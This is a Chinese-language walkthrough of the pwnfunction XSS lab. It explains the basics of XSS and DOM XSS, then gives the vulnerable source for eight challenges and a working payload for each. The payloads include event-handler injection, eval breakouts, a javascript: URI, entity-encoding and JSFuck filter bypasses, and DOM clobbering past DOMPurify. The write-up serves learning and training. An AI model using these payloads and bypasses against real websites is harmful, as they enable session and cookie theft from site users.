目录
xss注入原理:
xss是什么?
xss原理:
DOM:
闯关:
第一关:Ma Spaghet!
源码:
要求:
分析:
第二关: Jefff
源码:
要求:
分析:
第三关: Ugandan Knuckles
源码:
要求:
分析:
第四关:Ricardo Milos
源码:
要求:
分析 :
编辑 第五关:Ah That's Hawt
源码:
分析:
第六关:Ligma
源码:
分析:
第七关:Mafia
源码:
分析:
第八关:Ok, Boomer
源码:
分析:
xss注入原理:
xss是什么?
跨网站指令码:
Cross-site scripting,因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading Style Sheets),所以将Cross改以发音相近的X做为缩写,故简称为XSS,是一种最普遍的网站应用程式的安全漏洞攻击,允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。
XSS攻击:
通常发生在用户输入数据并被展示在网页上时,常见于贴吧,留言板,评论,反馈等系统。如果应用程序没有对用户提交的内容进行充分的过滤和验证,恶意脚本可能会被注入并执行。攻击者可能会利用XSS漏洞执行各种操作,如窃取用户cookie、获取个人信息、挂马(在用户计算机上植入恶意软件)、键盘记录等。
xss原理:
用户输入的数据被当作前端代码执行(通常是当作JS代码执行)
攻击原理:用户和浏览器建立连接状态,攻击者在这个网站发现xss漏洞,然后插入恶意代码(js)发给了发户,用户点击查看触发了攻击者的js攻击代码,就会窃取用户cookie,完成攻击。
DOM:
Dom
是一个与平台,编程语言无关的端口,它允许程序或者脚本动态的访问和更新文档的内容,结果和样式,处理后的结果能够成为显示的一部分,不依赖于提交数据到服务器端,从而客户端获得Dom中的数据在本地执行,如果Dom
中的数据没有经过严格的确定,就会产生Dom
型XSS漏洞。简单点描述:(Dom型Xss是一种基于文档对象模型的一种漏洞)
使用靶场环境:https://xss.pwnfunction.com/
闯关:
第一关:Ma Spaghet!
源码:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
要求:
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
分析:
在script标签里边,使用get传参的方式给somebody传一个值,如果没有传值,默认传Somebody+Toucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中,这里的spaghet后边加了一个innerHTMl的属性。
?somebody=<script>alrt(1337)</script>
这里我们看似插入进去,但是不会执行 ,所以更换一个标签。
?somebody=<img src=1 onerror="alert(1337)">
这样我们就成功绕过,原理一样但是标签不一样。
第二关: Jefff
源码:
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
要求:
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
分析:
首先使用get传参的方式,给jeff一个值,将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,这里的ma带了一个ineerText的属性。
他不会去渲染我们的css样式,意思就是我们在加什么标签之类的东西都不会起效果。所以我们这里只能换一种思路,他不能加标签,那我们看能不能直接闭合ma,之后执行我们的代码
//方法1
?jeff=";alert(1337);"
//方法2
?jeff="-alert(1337)-"
//在html中-号是分隔符,跟第一种区别不大但是是一种新的做法
第三关: Ugandan Knuckles
源码:
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
要求:
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
分析:
还是使用get方式传参;首先是传给wey一个值,然后赋值给变量let wey,然后这里过滤了<>尖括号,最后将我们的变量wey内容传给Uganda,显示在输入框中,Uganda也带一个inner HTML的属性,所以我们不能使用script标签,那就看看其他的思路;
这里使用onfocus 和autofocus 使用焦点的原理,可以使用onfocus获取焦点,再利用autofocus自动获取焦点,所以我们就触发执行代码
?wey=" onfocus="alert(1337)" autofocus="tree
//最后的tree可以不写
第四关:Ricardo Milos
源码:
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
要求:
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
分析 :
使用get方式传参;传一个值给Ricardo,这里的submit是提交,意思是将我们传入的值过两秒传给Ricardo。action是他接受的一个伪协议,这里就使用一下JavaScript
?ricardo=JavaScript:alert(1337)
第五关:Ah That's Hawt
源码:
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
分析:
这里主要是过滤,将()\ 和反引号过滤 ,会将这些符号转化为空;还有inner HTML,所以script也不能用了,试一下用img的报错实现,因为我们的括号被过滤,那么我们可以试下使用实体编码进行绕过
?markassbrownlee=<img%20src=1%20οnerrοr=alert(1337)>
可以看到括号丢失 ,因为url在传参时,会将我们的特殊符号进行解码,但我们传递的是html的实体编码,所以问题出现在了这里,那么我们再将实体编码再进行次url编码
?markassbrownlee=<img%20src=1%20onerror=alert%26%2340%3B1337%26%2341%3B>
第六关:Ligma
源码:
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
分析:
这里我们有个技巧,当看到过滤了大小写和数字时,我们使用一个工具就可以直接进行
利用框架绕过:JSFuck - Write any JavaScript with 6 Characters: []()!+
他就会用一些符号来表示我们的字符和数字等,这里我们将上边转好的复制输入进去,因为+在url传参时,会解码为空格,所以我们要对这些符号再次编码
?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%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第七关:Mafia
源码:
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
分析:
这里还是get方式传参,但是限制我们传入的参数长度最大为50个字节,而且过滤了一大堆东西,最后执行mafia,代码漏洞,他过滤了符号和alert函数,但是没有过滤confirm
函数
?mafia=confirm(1337)
在官方给出的三个答案中:
第一个:Function构造了一个ALERT(1337)函数,source 然后调用函数的源码,就拿到了ALERT(1337),在调用js中的转成小写,最后在加上一个括号就表示执行函数。这样就绕过了上边的限制条件,并且成功执行
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
第二个:
?mafia=eval(8680439..toString(30))(1337)
toString()是返回一个函数的字符串,内容是函数的源码 ,这里返回了一个alert,那我们大胆猜前边的8680439就是的,但是是咋来的呢?其实就是我们的alert使用parseint函数转换成了30进制的一个整数,这里的三十是代表三十进制,因为要想直接显示alert,16进制是从0-9,A-F,所以到T这里就是三十进制了。所以最后执行代码就成功了。
第三个:我们可以看到,location.hash,取到的是url里#后的值,slice函数是分片,可以将#后面的提取到,那么#后面写上alert(1337),前面加上eval(location.hash.slice(1))就可以了
?mafia=eval(location.hash.slice(1))#alert(1337)
第八关:Ok, Boomer
源码:
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
分析:
这道题通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify
DOMPurify防御用户输入框架,会把你的危险属性过滤完了
这个过滤框架由安全团队cure53开发,但是注意setTimeout函数内的ok参数
这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏
突破口 :setTimeout(ok, 2000);这里使用一个dom clobbering称之为dom破坏技术
对于安全来说DOM clobbering主要是用来进行DOM型的XSS攻击,其可以篡改JS函数原本的属性恶意插入一些XSS代码到页面的JS中去,它的特征就是利用了元素配置id或name属性后可以使用包括document、window、自己名称的形式进行访问。其可以对document的属性进行恶意的替换。从而影响dom树的结构造成破坏.这一特性让它有了DOM COLBBERING这个名号。
?boomer=<a id=ok href=tel:alert(1337)>